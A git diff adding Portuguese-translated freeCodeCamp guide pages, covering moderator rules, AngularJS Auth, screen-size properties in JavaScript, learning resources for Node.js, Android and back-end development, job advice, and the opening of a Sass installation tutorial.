+    > Se você acha que estou errado ao encerrar este problema, reabra-o e adicione mais esclarecimentos. Obrigado e feliz codificação.
+    
+
+### Solicitações de pull moderadas
+
+Pull Requests (PRs) é como os contribuidores do freeCodeCamp enviam alterações para o repositório para consideração. É importante que esses PRs sejam formatados adequadamente e passem por um Teste de Garantia de Qualidade completo antes de serem mesclados.
+
+### Puxe os requisitos de solicitação e a formatação
+
+Todos os PRs devem atender aos seguintes requisitos antes de serem aceitos:
+
+1.  Ele deve referenciar pelo menos um problema em aberto, e o corpo também deve incluir `closes #XXXXX` para cada número de problema que ele aborda (substituindo `#XXXXX` pelo número do problema)
+2.  Deve ser contra o ramo de **`staging`**
+3.  Deve ser a partir de um ramo não-temporário nomeado apropriadamente, na bifurcação pessoal do usuário de freeCodeCamp
+4.  O título deve descrever a mudança feita
+5.  Seu título não deve ter um número de problema nele
+6.  Seu corpo deve fornecer detalhes sobre a mudança, bem como o nível de teste (ou seja, não testado, testado localmente)
+7.  _As_ alterações _relacionadas_ devem ser eliminadas para confirmação única. Mas _as_ alterações _relevantes ou notáveis_ podem ter confirmações separadas.
+8.  O código deve passar por todos os testes e linting
+
+Se o PR não atender a um ou mais desses requisitos, abra uma revisão do GitHub, especificando quais dos 8 requisitos ainda não foram atendidos. Novos colaboradores podem ser encaminhados para a sala de bate-papo de [contribuidores](https://gitter.im/freeCodeCamp/Contributors) . A critério do moderador, o problema pode ser encerrado.
+
+### Garantia de Qualidade (QA)
+
+Supondo que os requisitos básicos para o PR sejam cumpridos, todos os PRs devem passar por algum nível de teste de QA. O processo mais básico de QA é verificar o PR localmente no seu computador e testar a funcionalidade alterada.
+
+1.  Certifique-se de que você é capaz de reproduzir o problema localmente.
+2.  Verifique se o PR realmente corrige o problema.
+3.  Você pode responder ao problema com **"LGTM"** , que significa "parece bom para mim".
+4.  Se você tiver alguma dúvida sobre se o PR deve ser mesclado, deixe que uma segunda pessoa o controle de qualidade e, em seguida, eles possam mesclá-lo.
+5.  Se já houver um "LGTM" e você conseguir o controle de qualidade do PR, você deverá mesclá-lo.
+
+Se houver alguma dúvida sobre a funcionalidade, você pode mencionar **`@freeCodeCamp/moderators`** para obter uma segunda opinião.
+
+### Requisitos especiais
+
+Os PRs que alteram a função subjacente do site ou fazem alterações não-triviais à interface do usuário ou ao UX do site devem ser aprovados por [@BerkeleyTrue](https://gitter.im/berkeleytrue) ou [@QuincyLarson](https://gitter.im/quincylarson) . Se tiver alguma dúvida, marque-as em um comentário e / ou chame a atenção delas para o PR através do Gitter Chat.
+
+### Outras regras que governam os moderadores
+
+Embora você tenha acesso de gravação ao repositório do freeCodeCamp:
+
+*   **você nunca deve enviar o código diretamente para o repositório freeCodeCamp** . Todo o código deve inserir a base de código do freeCodeCamp na forma de um pedido pull de um fork do repo.
+*   você nunca deve aceitar seus próprios PRs. Eles devem ser QA-ed por outro moderador, assim como com qualquer outro PR.
+
+# Moderando o Fórum
+
+Moderar o fórum segue os mesmos princípios que moderar o Gitter. O seguinte descreve as pequenas variações, para explicar as diferenças de Gitter na plataforma Discourse.
+
+Os moderadores do fórum são responsáveis ​​por tornar a nossa comunidade um lugar agradável para qualquer pessoa aprender e obter ajuda. Os moderadores do fórum lidam com postagens sinalizadas e lidam com spam, conversas fora do tópico e outras conversas inapropriadas.
+
+### Excluindo postagens do fórum
+
+Os moderadores do fórum podem excluir as mensagens do usuário. Você deve fazer isso apenas nas seguintes instâncias:
+
+1.  Alguém postou uma imagem pornográfica ou graficamente violenta.
+2.  Alguém postou um link ou código de natureza maliciosa e pode prejudicar outros participantes que clicarem nele.
+3.  Alguém inundou um tópico com muitas mensagens de spam.
+
+### Lidando com spam
+
+Para a primeira postagem de spam de um usuário, envie uma mensagem explicando o problema e remova o link ou poste conforme apropriado. Deixe uma nota no perfil do usuário explicando a ação que você tomou. Se o problema persistir, siga o processo acima. Bloquear silenciosamente o usuário da postagem e, em seguida, enviar um aviso com o Código de Conduta. Marque a caixa na mensagem privada indicando que sua mensagem é um "aviso formal".
+
+Não é necessário usar a sala de administração do Gitter para relatar incidentes no fórum. Se você tiver dúvidas, por favor, pergunte na seção do fórum da [equipe](https://forum.freecodecamp.com/c/staff) .
+
+### Lidando com conversas fora do tópico
+
+Postagens ou tópicos que parecem estar no lugar errado, podem ser recategorizados ou renomeados para o que for apropriado.
+
+Em circunstâncias excepcionais, pode ser apropriado para um moderador forçar uma discussão em vários tópicos.
+
+Novamente, se você tiver algum problema ou dúvida, faça uma postagem com suas ações na categoria Equipe e marque outro moderador se quiser que eles analisem suas ações de moderação.
+
+# Como se tornar um moderador
+
+Você tem contribuído para a nossa comunidade e deseja o poder / responsabilidade adicional que advém de ser um moderador?
+
+Reúna evidências que mostrem sua utilidade em questões do GitHub e / ou ajudando campistas no Gitter e em nossos fóruns, e envie no Gitter para:
+
+*   [@BerkeleyTrue](https://gitter.im/berkeleytrue)
+*   [@CodeNonprofit](https://gitter.im/codenonprofit)
+*   [@QuincyLarson](https://gitter.im/quincylarson)
+
+Requisitos adicionais:
+
+*   Você deve ativar a autenticação de dois fatores na sua conta do GitHub.
+*   Seu perfil do GitHub deve pelo menos ter seu primeiro nome.
+*   Sua foto do GitHub deve mostrar seu rosto.
+
+Se você for aprovado, nós o adicionaremos à nossa [equipe de moderadores](https://github.com/orgs/freeCodeCamp/teams/moderators) .
+
+# Como retiramos os moderadores inativos
+
+Por favor, note que freqüentemente removeremos os mods de problemas que achamos inativos. Quando fizermos isso, enviaremos a seguinte mensagem:
+
+> Esta é uma mensagem padrão informando que, como você parece não ter sido um moderador ativo recentemente, estamos removendo você da nossa equipe do Google Moderator. Agradecemos profundamente sua ajuda no passado.
+> 
+> Se você acha que fizemos isso por engano, ou quando estiver pronto para voltar e contribuir mais, basta responder a esta mensagem, avisando-me.
+
+# Como funciona a sala de nossos colaboradores
+
+Qualquer pessoa é bem-vinda na [sala de colaboradores](https://gitter.im/freecodecamp/contributors) . É a sala de bate-papo designada para moderadores e outros campistas que estão contribuindo com a nossa comunidade de várias maneiras, inclusive por meio de grupos de estudo.
+
+Nossa suposição é que os colaboradores lerão qualquer coisa nesta sala que os mencione diretamente com um `@username` ou seja direcionada para `@/all` . Tudo o resto é opcional. Mas fique à vontade para ler qualquer coisa que alguém posta lá e interagir.
+
+# Como se tornar um moderador neste fórum
+
+Se você já é um moderador, também pode solicitar o status de moderador neste fórum. Mensagem [@michaelhenderson](/users/michaelhenderson) aqui no fórum e ele verificará seu status de moderador no GitHub, e concederá o status de moderador aqui.
+
+# Lidando com solicitadores
+
+Você pode ser abordado por organizações que desejam fazer parcerias ou co-marcas com o freeCodeCamp de alguma forma. Depois que você perceber que é isso que eles estão procurando, pare de falar com eles e diga-lhes para falar diretamente com Quincy Larson . Ele recebe propostas como esta literalmente todos os dias e está na melhor posição para julgar se tal relacionamento valerá a pena para nossa comunidade (e raramente é).
+
+# Definições
+
+> As palavras-chave "deve", "não deve", "necessário", "deve", "não deve", "RECOMENDADO", "pode" e "opcional" neste documento devem ser interpretadas como descrito no [**RFC 2119**](https://www.ietf.org/rfc/rfc2119.txt) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/front-end-file-structure/index.md b/client/src/guide/portuguese/miscellaneous/front-end-file-structure/index.md
new file mode 100644
index 0000000000..c78c98d5f1
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/front-end-file-structure/index.md
@@ -0,0 +1,14 @@
+---
+title: Front End File Structure
+localeTitle: Estrutura de arquivos front-end
+---
+Primeiras coisas primeiro: todos os seus arquivos voltados ao usuário e arquivos angulares estão em **/ client / app /**
+
+1.  **app.js** : define seu aplicativo e inclui algumas funções básicas de todo o aplicativo. Você provavelmente não precisa mexer nele, a menos que esteja tentando adicionar mais dependências ao seu aplicativo. Não vamos nos preocupar com isso agora.
+2.  **app.css** : uma folha de estilo em todo o aplicativo, você pode colocar estilos aqui, se quiser, mas eu recomendo que você os coloque em **main / main.css** , pois esses estilos também são em todo o aplicativo.
+3.  **main /** : esta pasta contém o que o usuário vê primeiro quando carrega seu site. **main.html** é o modelo de página, **main.js direciona** o usuário para **main.html** quando o usuário **acessa** o diretório de nível superior do seu site - ou seja, http: //yourapp.wherever.itis/ sem / other / url / hierarquia . Você também aprenderá em breve que pode definir o / url / heirarchy / razoavelmente / arbitrariamente do seu aplicativo. Você não precisa realmente editar **main.js** ou **main.controller.spec.js** , então não vamos nos preocupar com isso agora. Se você olhar pelo arquivo **main.html,** verá que ele usa _ng-repeat_ para mostrar _coisas_ em _awesomeThings_ . Onde fica _incrível_ ?
+4.  **main / main.controller.js** : todas as funções javascript que você deseja usar para interagir diretamente com o usuário vão aqui! Você colocará funções aqui para interagir com sua API, atualizar visualizações para seu usuário, etc. Aqui, os _awesomeThings_ são extraídos do seu banco de dados e adicionados ao escopo local para que sua exibição de HTML possa exibi-los! Que legal! Nós vamos adicionar objetos personalizados ao seu banco de dados em um minuto.
+
+Ótimo! Agora você sabe interagir com o usuário! Mas e se você quiser que seu aplicativo tenha outra página que faça outra coisa? Talvez **main.html** mostre a home page, mas você quer uma página que mostre um formulário para adicionar uma enquete? talvez http: //yourapp.wherever.itis/newpage ? Este é o lugar onde o gerador yeoman vem a calhar.
+
+[ANTERIOR](http://forum.freecodecamp.com/t/guides-to-back-end-projects/14265) PRÓXIMO
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/get-information-about-the-current-user-in-angularjs/index.md b/client/src/guide/portuguese/miscellaneous/get-information-about-the-current-user-in-angularjs/index.md
new file mode 100644
index 0000000000..c4ac58d5e0
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/get-information-about-the-current-user-in-angularjs/index.md
@@ -0,0 +1,16 @@
+---
+title: Get Information About the Current User in Angularjs
+localeTitle: Obter informações sobre o usuário atual no Angularjs
+---
+Você deve ter notado se você abriu **/client/app/admin/admin.controller.js** que chama o módulo _Auth_ assim:
+```
+.controller('AdminCtrl', function ($scope, $http, Auth … 
+```
+
+Você pode incluir Auth em seus outros controladores da mesma maneira. É muito útil ter o _Auth_ disponível em seu controlador para detectar se um usuário está logado ou para obter informações sobre o usuário atual. No corpo do seu controlador você pode adicionar
+```
+$scope.getCurrentUser = Auth.getCurrentUser; 
+ $scope.isLoggedIn = Auth.isLoggedIn; 
+```
+
+E então você pode usar _isLoggedIn ()_ ou _getCurrentUser ()_ na visão HTML para o seu controlador!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/get-screen-size-in-pixels/index.md b/client/src/guide/portuguese/miscellaneous/get-screen-size-in-pixels/index.md
new file mode 100644
index 0000000000..6a6a292bf1
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/get-screen-size-in-pixels/index.md
@@ -0,0 +1,41 @@
+---
+title: Get Screen Size in Pixels
+localeTitle: Obter tamanho da tela em pixels
+---
+Pode haver momentos em que seu aplicativo JS precisa saber qual é o tamanho da tela para poder executar determinadas ações.
+
+Felizmente para nós, existem funções JavaScript embutidas que podem facilmente capturar diferentes dimensões da tela no dispositivo do usuário em pixels. O que usar depende do que você gostaria de fazer.
+
+## Obter a resolução do usuário
+
+Você pode querer fazer algo envolvendo a resolução do dispositivo do usuário. Nesse caso, você deve usar as propriedades built-in `screen.width` e `screen.height` . Estes lhe dão o tamanho da tela que você está lidando. **Esta não é a área com a qual você deve trabalhar na página; esses valores representam a totalidade da tela, ou seja, a resolução da tela do usuário.**
+
+## Obter tamanho do navegador
+
+Pode haver um aplicativo interessante para lidar com o tamanho atual do navegador. Se você precisar acessar essas dimensões, use os `screen.availWidth` e `screen.availHeight` propriedades para fazê-lo. Lembre-se, essas são as dimensões de toda a janela do navegador, da parte superior da janela do navegador até o local em que o navegador encontra uma barra de tarefas ou a borda da área de trabalho, dependendo da configuração.
+
+**Uma observação interessante** : `screen.availHeight` também pode ser usado para descobrir o quão alta é uma barra de tarefas em um computador. Se a resolução do seu navegador for `1366 x 768` e `screen.availHeight` reportar 728 pixels, sua barra de tarefas `screen.availHeight` 40 pixels de altura. Você também pode calcular a altura da barra de tarefas subtraindo `screen.height` e `screen.availHeight` :
+```
+var taskbarHeight = parseInt(screen.height,10) - parseInt(screen.availHeight,10) + " pixels"; 
+ /* 
+ For a user that has a screen resolution of 1366 x 768 pixels, their taskbar is likely 40 pixels if using Windows 10 with no added accessibility features. 
+ */ 
+```
+
+## Obter o tamanho da janela de visualização
+
+Essas propriedades são interessantes e podem ser usadas para criar alguns efeitos bacanas. Você pode usar `window.innerHeight` e `window.innerWidth` para obter o tamanho da janela da página da web, conforme o usuário a vê. Esses valores não são estáticos e mudam dependendo do que está acontecendo com o próprio navegador. Em outras palavras, se o próprio navegador for pequeno, esses valores serão menores e, se o navegador estiver maximizado, eles serão maiores.
+
+Se, por exemplo, você estiver trabalhando no Google Chrome e abrir o console (deve estar encaixado em um lado da janela), `window.innerHeight` será alterado para refletir a altura do console, pois parte da janela será bloqueada. Você pode testar isso chamando `window.innerHeight` , anote o valor, aumente o tamanho do console e chame `window.innerHeight` novamente.
+
+Essas propriedades também serão alteradas se o navegador for maximizado ou redimensionado de alguma forma. No tamanho máximo de um navegador, a propriedade `window.innerWidth` é a mesma que `screen.width` e `screen.availWidth` (a menos que haja uma barra de tarefas ao lado; nesse caso, `screen.availWidth` não será igual). `window.innerHeight` é igual à quantidade de área na janela da própria página (a área da página da web).
+
+## Obtenha Altura e Largura da Página da Web
+
+Se você precisa ver quão alta ou larga é a sua página da web, existem propriedades para capturar essas dimensões: `document.body.offsetWidth` e `document.body.offsetHeight` . Essas propriedades representam o tamanho do conteúdo no corpo da própria página. Uma página sem conteúdo tem um `document.body.offsetHeight` de perto do mesmo valor que `window.innerHeight` dependendo de quais margens / preenchimento estão definidas no corpo do documento. Se margens e preenchimento forem definidos como `0` no elemento raiz html e no corpo do documento, `document.body.offsetHeight` e `window.innerHeight` serão iguais sem conteúdo.
+
+Essas propriedades podem ser usadas para interagir com sua página / aplicativo, dependendo do que você deseja fazer.
+
+## Conclusão
+
+Qual propriedade usar é baseada somente no que você deseja fazer. Leia o que cada um deles faz e decida por si quais propriedades você precisa usar para o seu projeto.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/get-started-with-nodejs/index.md b/client/src/guide/portuguese/miscellaneous/get-started-with-nodejs/index.md
new file mode 100644
index 0000000000..74a80d0031
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/get-started-with-nodejs/index.md
@@ -0,0 +1,43 @@
+---
+title: Get Started with Nodejs
+localeTitle: Comece com o Nodejs
+---
+[O Node.js](https://nodejs.org/) é um tempo de execução de JavaScript criado no [mecanismo JavaScript V8 do Chrome,](https://developers.google.com/v8/ "Motor V8 do Chrome") permitindo que o JavaScript seja usado para programação no lado do servidor.
+
+O Node.js tornou-se uma parte essencial do 'JavaScript Everywhere', incentivando o desenvolvimento de aplicativos da Web a se unificar em torno de uma única linguagem de programação, em vez de depender de uma linguagem diferente para escrever scripts do lado do servidor.
+
+### Tutoriais:
+
+*   [Lições interativas do NodeSchool.io](http://nodeschool.io/)
+*   [A arte do nó (uma introdução ao nó)](https://github.com/maxogden/art-of-node/#the-art-of-node)
+*   [Guia do Node.js](http://nodeguide.com/)
+*   [Crie um blog com o Node.js, express e o MongoDB](http://howtonode.org/express-mongodb)
+
+## Livros
+
+*   [O livro do novato do nó](http://nodebeginner.org/)
+*   [Dominando o Node.js](https://github.com/visionmedia/masteringnode)
+*   [Em funcionamento com o Node.js](http://chimera.labs.oreilly.com/books/1234000001808/index.html)
+*   [Desenvolvimento Web do Nó](https://www.packtpub.com/web-development/node-web-development)
+
+## Cursos
+
+*   [Web em tempo real com o Node.js](http://node.codeschool.com/)
+*   [Node.js essencial do DevelopMentor](http://www.globalknowledge.co.uk/courses/it-subjects/application-development/)
+*   [Introdução ao MongoDB usando a pilha MEAN](https://www.edx.org/course/introduction-mongodb-using-mean-stack-mongodbx-m101x-0)
+*   [O Curso Completo do Desenvolvedor Node.js (2ª Edição)](https://www.udemy.com/the-complete-nodejs-developer-course-2/)
+
+## Blogs
+
+*   [O blog do Node.js](http://blog.nodejs.org/)
+*   [Como para o nó](http://howtonode.org/)
+*   [DailyJS](http://dailyjs.com/)
+*   [Blog do Nodejitsu](http://blog.nodejitsu.com/)
+*   [js-deflate](https://github.com/dankogai/js-deflate) para gzipping de dados para se encaixar em URLs
+*   [Artigo de Ryan Wilcox](http://www.wilcoxd.com/whitepapers/node_js/)
+*   [desvitalizado](http://www.devthought.com/)
+
+### Mais Informações:
+
+*   [Stackoverflow.com: Como eu começo com o Node.js?](https://stackoverflow.com/questions/2353818/how-do-i-get-started-with-node-js)
+*   [Site oficial do Node.js: Como eu começo com o Node.js depois que o instalei?](https://nodejs.org/en/docs/guides/getting-started-guide/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/getting-a-coding-job/index.md b/client/src/guide/portuguese/miscellaneous/getting-a-coding-job/index.md
new file mode 100644
index 0000000000..690a27d445
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/getting-a-coding-job/index.md
@@ -0,0 +1,26 @@
+---
+title: Getting a Coding Job
+localeTitle: Obtendo um trabalho de codificação
+---
+O Free Code Camp ajudará você a se preparar para um trabalho de codificação.
+
+![Gráfico de trabalhos](https://www.evernote.com/shard/s116/sh/55c128c7-5d99-41cc-b03d-b3de22611c8d/b43e467b3889f646fec34bb4c161e2a2/deep/0/What)
+
+## Aqui estão os fatos:
+
+*   Existem centenas de milhares de trabalhos de codificação não preenchidos.
+*   Os empregadores e o governo dos EUA uniram-se para promover programas de codificação não tradicionais como o Free Code Camp.
+*   Full stack JavaScript e Swift são dois dos melhores conjuntos de habilidades pagantes, e têm uma tonelada de vagas de emprego.
+*   A melhor prova de que você é um desenvolvedor empregável é um portfólio cheio de aplicativos reais que pessoas reais estão usando.
+
+Você ainda precisará desenvolver habilidades básicas de entrevista e habilidades sociais (se você estiver trabalhando em um trabalho tipo trabalhador do conhecimento por alguns anos, você provavelmente já tem esses recursos).
+
+[Hackerrank](https://www.hackerrank.com/domains/tutorials/cracking-the-coding-interview) é um ótimo recurso para melhorar suas habilidades de codificação
+
+Você também precisará trabalhar duro para interagir com codificadores em sua cidade. Você pode fazer isso participando [do Grupo local da sua cidade](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/LocalGroups-List) e participando de todos os eventos possíveis.
+
+Eu encontrei [este](https://github.com/cassidoo/getting-a-gig) link para ser útil. Ele faz um ótimo trabalho explicando o processo.
+
+## Sugestão:
+
+Como em qualquer outra indústria ou campo, a parte mais difícil é realmente começar. Não se preocupe muito e tome medidas - os resultados serão fascinantes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/getting-started-with-android-development/index.md b/client/src/guide/portuguese/miscellaneous/getting-started-with-android-development/index.md
new file mode 100644
index 0000000000..997dd4a16d
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/getting-started-with-android-development/index.md
@@ -0,0 +1,49 @@
+---
+title: Getting Started with Android Development
+localeTitle: Primeiros passos no desenvolvimento do Android
+---
+Hoje, o [Android](https://www.android.com/) se tornou o principal sistema operacional usado em vários dispositivos, como telefones celulares, tablets, relógios, TV, carros e muito mais. Ele alimenta mais de um bilhão de dispositivos em todo o mundo. É baseado no kernel do Linux. O Android tem sido o sistema operacional mais vendido em tablets desde 2013 e, em smartphones, é dominante por qualquer métrica.
+
+## Pré-requisitos
+
+Para começar com o desenvolvimento do Android, você já deve saber algumas coisas:
+
+*   [Java](https://java.com/en/) : o desenvolvimento do Android é feito principalmente em Java. Não é uma linguagem difícil de aprender, mas saber como isso se aplica ao desenvolvimento do Android pode ser confuso sem uma base firme na linguagem. O Android Java não é exatamente o padrão Java, mas o Java padrão de aprendizagem facilitará muito o desenvolvimento do Android. Para os tópicos específicos em Java que seriam úteis neste caso, você pode consultar [este](http://www.bigknol.com/2016/01/10-prerequisites-for-learning-android.html) link.
+*   [XML](http://www.w3schools.com/xml/) : Saber XML pode ser útil em vários campos relacionados a tecnologia e o Android não é exceção. Em particular, os arquivos XML facilitam a declaração de elementos da interface do usuário nos aplicativos que você cria. A experiência passada é uma grande vantagem.
+*   Perseverança: Por fim, aprender os meandros do kit de ferramentas de desenvolvimento do Android vai levar tempo. Aprender a criar um aplicativo de qualidade vai levar ainda mais tempo. Não se apresse. Continue com isso e concentre sua mente no longo prazo. Se não o fizer, ficará frustrado e desejará desistir.
+
+## Ferramentas
+
+Primeiro, verifique se você tem todas as ferramentas do seu sistema. **Observe que os pacotes necessários para continuar o desenvolvimento do Android precisam de downloads de tamanho superior a 1 GB e a instalação levaria de 2 a 3 horas do seu tempo.** As coisas que você precisa para começar a criar aplicativos para o Android são:
+
+*   [Versão mais recente do Java JDK](http://www.oracle.com/technetwork/java/javase/downloads/index.html) : [Aqui](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Java-Introduction) está um guia para instalar o Java no seu computador.
+*   [Android Studio](http://developer.android.com/sdk/index.html) : [Aqui](http://developer.android.com/sdk/installing/index.html) está o guia oficial para instalar o estúdio Android.
+*   Se possível, um dispositivo Android. Se você não o fizer, tudo bem também, já que você pode rodar um [emulador](http://developer.android.com/tools/devices/emulator.html) para rodar um dispositivo virtual Android no seu próprio computador.
+
+## Suporte ao idioma Kotlin
+
+A partir do Android Studio 3.0, o suporte de ferramentas para o Kotlin é empacotado diretamente no Android Studio. **Kotlin** é uma linguagem de programação com tipagem estática que é executada na Java Virtual Machine e também pode ser compilada no código-fonte do JavaScript. O Kotlin foi projetado para interoperar com o código Java e depende do código Java da Java Class Library existente, como a estrutura de coleções. **O Kotlin** foi projetado para ser uma linguagem orientada a objetos de força industrial e uma "linguagem melhor" do que Java, mas ainda assim ser totalmente interoperável com o código Java, permitindo que as empresas façam uma migração gradual do Java para o Kotlin.
+
+Alguns dos benefícios do uso do Kotlin no Android Development:
+
+*   Kotlin requer menos código para escrever.
+*   Menos paixões ocorrem em Kotlin.
+*   Kotlin é uma linguagem de segurança de tipos.
+*   Kotlin economiza um pouco do seu precioso tempo.
+
+## Tutoriais
+
+Alguns cursos básicos e tutoriais para aprender o desenvolvimento do Android:
+
+*   [Guia oficial do desenvolvedor para Android](http://developer.android.com/training/index.html) : para iniciantes, este site tem uma seção de treinamento abrangente que abrange desde a configuração do seu ambiente e a criação do seu primeiro aplicativo Android até a distribuição de um aplicativo finalizado e a obtenção de dinheiro na Play Store. Para usuários avançados, os guias e referências de API sempre estarão disponíveis para ajudar você a encontrar as soluções mais eficientes para os problemas de desenvolvimento de aplicativos. Este guia também contém links para os cursos de vídeo específicos exigidos pelas necessidades dos desenvolvedores para tópicos avançados de desenvolvimento.
+*   [CodePath Android Cliffnotes](https://guides.codepath.com/android)
+*   [TutorialsPoint](http://www.tutorialspoint.com/android/)
+*   [Vogella](http://www.vogella.com/tutorials/android.html)
+
+## Recursos
+
+Aqui estão alguns links úteis para as bibliotecas para desenvolvimento do Android:
+
+*   [Lista impressionante de interface do usuário do Android](https://github.com/wasabeef/awesome-android-ui) por Wasabeef
+*   [Lista impressionante de bibliotecas Android](https://github.com/snowdream/awesome-android) da SnowDream
+*   [Impressionante](https://github.com/wasabeef/awesome-android-libraries) lista de [bibliotecas Android](https://github.com/wasabeef/awesome-android-libraries) por Wasabeef
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/getting-started-with-back-end-projects/index.md b/client/src/guide/portuguese/miscellaneous/getting-started-with-back-end-projects/index.md
new file mode 100644
index 0000000000..52d204714b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/getting-started-with-back-end-projects/index.md
@@ -0,0 +1,41 @@
+---
+title: Getting Started with Back End Projects
+localeTitle: Começando com projetos de back-end
+---
+O currículo inicial do primeiro projeto de back-end não é muito abrangente. Aqui estão alguns recursos comuns que outros campistas acharam úteis.
+
+*   Introdução ao Yeoman - Muitas dicas e truques úteis para a configuração Yeoman Angular FullStack
+*   [Angular Generator](https://github.com/DaftMonk/generator-angular-fullstack#generators) - Gerador usado pelo Yeoman, você pode encontrar a sintaxe e quais arquivos ele cria
+
+## APIs
+
+*   API para criação de gráficos no mercado de ações: [https://www.quandl.com/help/api](https://www.quandl.com/help/api)
+
+## MEAN Stack Tutoriais & Vídeos
+
+*   5 Part Series na configuração de uma pilha MEAN  
+    [https://www.youtube.com/watch?v=kHV7gOHvNdk](https://www.youtube.com/watch?v=kHV7gOHvNdk)
+*   Um tutorial MÉDIO que cria um clone simples do Twitter  
+    [https://channel9.msdn.com/Series/MEAN-Stack-Jump-Start](https://channel9.msdn.com/Series/MEAN-Stack-Jump-Start)
+*   Clementine é uma pilha MEAN despojada, ótima para aprender os fundamentos.  
+    [https://johnstonbl01.github.io/clementinejs/tutorials/tutorial-beginner.html](https://johnstonbl01.github.io/clementinejs/tutorials/tutorial-beginner.html)
+*   Autenticação com o Passport para a pilha MEAN:  
+    [https://vickev.com/#!/article/authentication-in-single-page-applications-node-js-passportjs-angularjs](https://vickev.com/#!/article/authentication-in-single-page-applications-node-js-passportjs-angularjs)
+*   Uma lista incrível de recursos para aprender a pilha MEAN:  
+    [https://github.com/ericdouglas/MEAN-Learning](https://github.com/ericdouglas/MEAN-Learning)
+
+## Tutoriais Scotch IO
+
+*   [https://scotch.io/tutorials/setting-up-a-mean-stack-single-page-application](https://scotch.io/tutorials/setting-up-a-mean-stack-single-page-application)
+*   [https://scotch.io/tutorials/node-and-angular-to-do-app-application-organization-and-structure](https://scotch.io/tutorials/node-and-angular-to-do-app-application-organization-and-structure)
+
+## Nó / Express
+
+*   [Depuração Online para o Node.js / Express](http://stackoverflow.com/a/16512303/1420506)
+
+## Cloud 9 Tricks
+
+### Acelerar o recarregamento do navegador
+
+1.  Abra o gruntfile.js e edite as duas instâncias do `livereload: true` to `livereload: false` .
+2.  Abra server / config / express.js e comente a linha `app.use(require('connect-livereload')());`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/getting-started-with-sass/index.md b/client/src/guide/portuguese/miscellaneous/getting-started-with-sass/index.md
new file mode 100644
index 0000000000..04e79b6c78
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/getting-started-with-sass/index.md
@@ -0,0 +1,100 @@
+---
+title: Getting Started with Sass
+localeTitle: Começando com o Sass
+---
+### Introdução
+
+Sass significa "Syntactically Awesome Stylesheets" e é um pré-processador de CSS. Um pré-processador compila código escrito em um idioma específico até o código "produto" que é legível por máquina (legível pelo navegador). Basicamente, o Sass compila código para CSS regular que nossos navegadores podem interpretar! _Por que escrever código no Sass quando o CSS já existe?_ A resposta curta é que o Sass vem com recursos mais poderosos incorporados em sua sintaxe que permitem aos desenvolvedores escrever código front-end DRY-er, escalável e mais sustentável.
+
+Se você estiver familiarizado com CSS, aprender Sass será um pouco mais fácil para você. Se não, pode ser ideal começar a aprender algumas noções básicas de CSS na seção HTML5 e CSS do Free Code Camp em seu curso de Certificação de Desenvolvimento de Front-End, bem como dar uma olhada no [Artigo CSS do MDN](https://developer.mozilla.org/en-US/docs/Web/CSS) .
+
+Na Parte 1 deste artigo, explicarei como instalar o Sass no seu computador e como compilar seu código escrito pelo Sass no CSS.
+
+## Instalação
+
+A maneira mais simples de instalar o Sass em sua máquina é através da linha de comando. O Sass é uma jóia Ruby e requer o seguinte comando:
+
+Para Macs e PCs:
+
+`sudo gem install sass`
+
+Para Linux você precisará instalar a linguagem Ruby primeiro, então:
+
+`sudo su -c "gem install sass"`
+
+Agora você deve conseguir verificar a versão do Sass instalada:
+
+`sass -v`
+
+E deve retornar algo semelhante a:
+
+`Sass 3.4.21 (Selective Steve)`
+
+Se sim, parabéns, você acabou de instalar o Sass! Agora para usar o Sass.
+
+## Uso Básico e Sintaxe
+
+Vamos começar com um exemplo muito simples para ilustrar como o Sass realmente funciona. Você pode acompanhar os passos ou simplesmente ler.
+
+_Uma anotação de importação: Sass pode ser escrito em dois estilos ligeiramente diferentes, cada um com seus próprios benefícios. Um estilo usará a extensão de arquivo_ `.sass` _e o outro usará_ `.scss` . _Breves explicações serão dadas sobre as diferenças dos dois estilos mais tarde. Para uma explicação detalhada, confira o_ [artigo Sass vs. SCSS de](http://thesassway.com/editorial/sass-vs-scss-which-syntax-is-better) _John W. Long_ .
+
+_Por uma questão de consistência, este artigo irá fornecer exemplos de código no formato `.scss` , no entanto ambos os estilos são igualmente populares._
+
+Tudo bem, vamos começar. Vamos criar uma nova pasta para abrigar nossos arquivos de exemplo (você pode fazer isso em qualquer lugar em seu computador e pode usar a linha de comando ou fazer isso manualmente).
+
+Na pasta, criaremos um arquivo chamado `style.scss` e um arquivo HTML para o estilo chamado `index.html` :
+
+_O comando `tree` na imagem acima é de um pacote npm que você pode instalar e não é nativo da linha de comando. O comando `ls` essencialmente faz o mesmo._
+
+Agora que temos nossa configuração de pasta de projeto, podemos usar o comando Sass watch para "vigiar" nosso arquivo Sass e compilar nosso código quando detectar uma alteração no arquivo. Nós digitamos o comando watch no arquivo que queremos assistir:
+
+`sass --watch style.scss`
+
+O próximo passo é abrir a pasta do projeto em seu editor de texto de sua escolha. Quando tivermos nossos arquivos abertos e prontos para edição, podemos adicionar uma página HTML muito básica (para nós, estilo), que se parece com o seguinte:
+```
+<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <title>Sass!</title> 
+  <link rel="stylesheet" href="style.css"> 
+ </head> 
+ <body> 
+  <article> 
+    <h1>Hello World</h1> 
+    <p class="cat-paragraph-1">Cat ipsum dolor sit amet, stand in front of the computer screen, so chase imaginary bugs has closed eyes but still sees you caticus cuteicus.</p> 
